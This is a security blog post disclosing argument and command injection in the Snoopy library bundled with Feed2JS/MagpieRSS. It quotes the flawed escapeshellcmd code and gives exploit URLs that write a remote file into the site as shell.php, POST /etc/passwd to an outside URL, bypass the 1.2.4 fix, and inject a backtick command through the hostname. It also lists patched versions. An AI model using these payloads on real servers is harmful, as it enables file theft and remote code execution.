Feed2JS/MagpieRSS 0day vulnerability (not really, it is actually CVE-2005-3330 / CVE-2008-4796)

Feed2JS/MagpieRSS 0day vulnerability (not really, it is actually CVE-2005-3330 / CVE-2008-4796)

July 3, 2014 2:10 am 6 comments

Feed2JS is a tool for user-friendly(developer-wise) embedding the RSS feeds on the pages without messing with XML.

I’ve found out today that it’s vulnerable to local file disclosure (all your /etc/passwds could be stolen).
It could be used for remote file inclusion as well.

tl;dr – fixed file at the bottom of the post

Feed2JS uses MagpieRSS for parsing the feeds, and MagpieRSS uses Snoopy library for fetching the documents:

Snoopy - the PHP net client
Author: Monte Ohrt <monte@ispi.net>
Copyright (c): 1999-2000 ispi, all rights reserved
Version: 1.0

 
Snoopy 1.0 is 12 years old (sic!),6 years ago someone ‘found’ a vulnerability in Snoopy 1.2.3:

CVE-2008-4796:
The _httpsrequest function (Snoopy/Snoopy.class.php) in Snoopy 1.2.3 and earlier, as used in (1) ampache, (2) libphp-snoopy, (3) mahara, (4) mediamate, (5) opendb, (6) pixelpost, and possibly other products, allows remote attackers to execute arbitrary commands via shell metacharacters in https URLs.

But this was actually discovered 3 years prior to that(9 years ago!):

CVE-2005-3330
The _httpsrequest function in Snoopy 1.2, as used in products such as (1) MagpieRSS, (2) WordPress, (3) Ampache, and (4) Jinzora, allows remote attackers to execute arbitrary commands via shell metacharacters in an HTTPS URL to an SSL protected web page, which is not properly handled by the fetch function.

As you can see, Snoopy 1.0 is definetely older than v1.2.3, so the _httpsrequest function should be vulnerable in the Snoopy library used in Feed2JS, even though I read somewhere that this issue is fixed in Magpie 0.7.2(it’s not)..

Some code snippets from Feed2JS/Magpie:
 

extlib/Snoopy.class.inc

/*======================================================================*\
Function: fetch
Purpose: fetch the contents of a web page
(and possibly other protocols in the
future like ftp, nntp, gopher, etc.)
Input: $URI the location of the page to fetch
Output: $this->results the output text from the fetch
\*======================================================================*/

function fetch($URI)
{
$URI_PARTS = parse_url($URI);
switch($URI_PARTS["scheme"])
{
case "https":
$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
$this->_httpsrequest($path, $URI, $this->_httpmethod);
break;
}
}

/*======================================================================*\
Function: _httpsrequest
Purpose: go get the https data from the server using curl
Input: $url the url to fetch
$URI the full URI
$body body contents to send if any (POST)
Output:
\*======================================================================*/

function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{
...
exec($this->curl_path." -D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);
...
}

I cringe every time when I see “exec” functions, so lets check whats wrong in using it ..

From php.net:

Warning
escapeshellcmd() should be used on the whole command string, and it still allows the attacker to pass arbitrary number of arguments. For escaping a single argument escapeshellarg() should be used instead.

You can pass additional curl arguments (you can check curl manual @ http://curl.haxx.se/docs/manpage.html), for example:

?src=https://example.com/%20-H"something:test"

This code will send something:test in the headers (can be used to get sensitive information about the server).

You can also download a file and save it locally using curl -o flag.

?src=https://example.com/shell%20-o"cache/shell.php"

this will download https://example.com/shell and save it into cache/ directory (which has 777 permissions by design)

Or you can submit

?src=https://example.com/%20-F%20"file=@/etc/passwd"

to get the /etc/passwd POSTed to your malicious URL and save it using $_FILES['file'].

 

I have notified Alan Levine, original developer of Feed2JS, and Kellan Elliot-McCrea, developer of MagpieRSS, but you can fix it yourself by updating  magpie/extlib/Snoopy.class.inc to Snoopy 1.2.4  (you can get it here: http://sourceforge.net/projects/snoopy/files/Snoopy/Snoopy-1.2.4/)

UPD. Sorry for disinformation, Snoopy 1.2.4 is vulnerable as well, so this IS a 0day..

Snoopy 1.2.4 ‘fixed’ the CVE-2008-4796 by using quotes around the escapeshellcmd, but it is still vulnerable, you can exploit it like this:

?src=https://example.com/"%20-F%20"file=@/etc/passwd

To fix this, you need to use escapeshellarg instead of escapeshellcmd.

1.2.4 also removed gzip support and messed up the compatibility with MagpieRSS..

Fixed version of Snoopy.class.inc is here:

https://raw.githubusercontent.com/cogdog/feed2js/master/magpie/extlib/Snoopy.class.inc

UPD2. Snoopy 1.2.5 is available:

http://sourceforge.net/projects/snoopy/files/Snoopy/Snoopy-1.2.5/

UPD3. (thanks to Tomas Hoger) Upstream fix is incomplete / insufficient.
Host name from a provided URL is extracted for use in the Host: HTTP header, provided to curl using -H option without proper escaping.
So you can do bad things with URLs as:

https://127.0.0.1%60sleep+15%60/foo.rss

Fixed in Snoopy 1.2.9 and above

http://snoopy.cvs.sourceforge.net/viewvc/snoopy/Snoopy/Snoopy.class.php?view=log#rev1.29

6 Comments

Leave a reply


%d bloggers like this: